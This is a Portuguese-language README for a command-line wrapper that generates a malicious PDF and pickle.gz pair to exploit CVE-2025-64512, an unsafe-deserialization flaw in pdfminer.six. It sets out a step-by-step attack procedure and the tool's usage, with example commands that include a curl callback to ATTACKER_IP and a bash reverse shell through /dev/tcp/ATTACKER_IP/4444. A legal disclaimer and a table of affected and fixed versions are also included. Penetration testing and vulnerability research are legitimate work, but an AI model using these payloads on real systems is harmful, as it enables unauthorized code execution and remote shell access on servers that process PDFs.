
Wrapper de CLI para o PoC do CVE-2025-64512 que gera payloads maliciosos de PDF e pickle.gz para explorar a desserialização insegura no pdfminer.six, permitindo execução remota de código por meio do processamento de PDFs elaborados.
⚠️ Aviso legal: Esta ferramenta destina-se apenas a fins educacionais e a testes de penetração autorizados. Utilize-a apenas contra sistemas seus ou para os quais tenha autorização escrita explícita. O uso não autorizado é ilegal.
pdfminer.six é uma biblioteca Python amplamente utilizada para extrair texto e metadados de arquivos PDF, comumente embarcada em pipelines de processamento de documentos, ferramentas de CLI e fluxos de ingestão de dados/IA. As versões afetadas carregam arquivos de cache CMap (mapa de caracteres) para suporte a fontes CJK usando o módulo pickle do Python, sem validar que o caminho resolvido permanece dentro do diretório de cache esperado.
Um PDF especialmente elaborado pode referenciar um caminho controlado pelo atacante para essa busca de CMap. Se um atacante também puder colocar um arquivo .pickle.gz malicioso nesse caminho resolvido (por exemplo, por meio de um recurso de upload de arquivo colocalizado), o processamento do PDF aciona pickle.loads() em dados controlados pelo atacante, resultando em execução arbitrária de código. Esse mecanismo exato — incluindo a estrutura do PDF do PoC — foi documentado por mtolley no aviso oficial.
Este repositório contém um pequeno wrapper de CLI ao redor da prova de conceito oficial publicada no GitHub Security Advisory para CVE-2025-64512. Ele não introduz nenhuma nova técnica de exploração — o modelo de PDF malicioso é retirado quase verbatim do próprio aviso; este script apenas parametriza o caminho alvo, o comando a executar e os nomes de arquivo de saída para que o PoC seja mais fácil de reutilizar.
CMapDB._load_data() no pdfminer.six resolve um nome de CMap — extraído da entrada /Encoding da fonte de um PDF — para um caminho de arquivo e o carrega com pickle.loads() se terminar em .pickle.gz. A função não valida que o caminho resolvido permaneça dentro do diretório cmap/ do próprio pdfminer.
/Encoding referencie um caminho escolhido pelo atacante (codificado em URL, / como #2F)..pickle.gz malicioso presente em <esse caminho>.pickle.gz no sistema de arquivos de destino no momento em que o PDF for processado.Ambos os arquivos normalmente podem ser entregues pelo mesmo canal de upload que eventualmente será processado pelo pdfminer.six (por exemplo, um pipeline de ingestão de documentos), desde que os caminhos resultantes em disco sejam previsíveis ou descobríveis.
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip, pickle, argparse)Nenhuma dependência de terceiros é necessária para gerar o payload. O alvo deve ter um pdfminer.six vulnerável (ou um projeto que dependa dele) processando de fato o PDF enviado.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
Isso produz:
payload.pickle.gz — envie este primeiro, para .../uploads/payload.pickle.gztrigger.pdf — envie este em segundo lugar; assim que o alvo o processar com pdfminer.six, o comando será executadopython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
| Campo | Valor |
|---|
| CVE | CVE-2025-64512 |
| Afetados | pdfminer.six ≤ 20250506 (also markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Tipo | Desserialização insegura (CWE-502) |
| Privilégios | Nenhum (não autenticado, se o processamento de PDF estiver exposto) |
| Impacto | Execução arbitrária de código |
| Correção | pdfminer.six 20251107+ |